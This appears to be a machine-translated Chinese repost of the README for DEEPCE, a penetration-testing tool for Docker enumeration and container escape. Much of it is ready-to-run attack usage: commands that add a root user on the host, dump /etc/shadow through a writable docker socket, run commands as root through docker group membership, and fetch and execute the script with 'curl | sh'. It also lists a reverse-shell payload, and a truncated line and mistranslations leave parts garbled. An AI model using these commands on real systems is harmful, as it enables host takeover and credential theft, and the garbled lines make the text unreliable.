Docker 枚举、特权升级和容器逃逸 (DEEPCE)
为了使其与最大数量的容器兼容,DEEPCE 是纯编写的sh
,没有依赖性。如果可用,它将使用其他工具,例如 curl、nmap、nslookup 和 dig,但在大多数情况下不依赖于它们进行枚举。
枚举都不应该触及磁盘,但是大多数漏洞利用会创建新的容器,这将导致磁盘写入,并且一些漏洞利用会覆盖 runC,这可能具有破坏性,所以要小心!
可以使用以下单行之一将 DEEPCE 下载到主机或容器上。提示:下载到/dev/shm
避免接触磁盘。
wget https://github.com/stealthcopter/deepce/raw/main/deepce.sh
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh -o deepce.sh
# Or using python requests
python -c 'import requests;print(requests.get("https://github.com/stealthcopter/deepce/raw/main/deepce.sh").content)' > deepce.sh
python3 -c 'import requests;print(requests.get("https://github.com/stealthcopter/deepce/raw/main/deepce.sh").c
枚举
以下是 DEEPCE 执行的枚举列表。
- 容器 ID 和名称(通过反向 DNS)
- 容器 IP / DNS 服务器
- 码头工人版本
- 有趣的坐骑
- 普通文件中的密码
- 环境变量
- 密码哈希
- 容器中存储的常见敏感文件
- 同一网络上的其他容器
- 端口扫描其他容器,以及宿主机本身
漏洞利用
- Docker 组提权
- 特权模式主机命令执行
- 裸露的 Docker
有效载荷
对于上述每个漏洞利用,都可以定义有效负载以利用主机系统。这些包括:
- 反向 TCP 外壳
- 打印 /etc/shadow
- 添加新的根用户
- 运行自定义命令
- 运行自定义负载二进制文件
# Make the script executable and then run it
chmod x ./deepce.sh
./deepce.sh
漏洞利用
以下示例显示了可以执行的不同类型的漏洞利用和可用的有效负载。
- 利用特权容器在主机操作系统上创建新的 root 用户:
./deepce.sh --no-enumeration --exploit PRIVILEGED --username deepce --password deepce
- 利用可写的 docker sock 文件打印内容
/etc/shadow
./deepce.sh --no-enumeration --exploit SOCK --shadow
- 通过主机上 docker 组的成员身份升级到 root 并运行自定义负载
./deepce.sh --no-enumeration --exploit DOCKER --command "whoami>/tmp/hacked"
高级用法
可以在不接触磁盘的情况下下载和运行 deepce,但是您将无法轻松设置参数(可以使用导出直接操作变量)。
代码语言:javascript复制wget -O - https://github.com/stealthcopter/deepce/raw/main/deepce.sh | sh
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh | sh
https://github.com/stealthcopter/deepce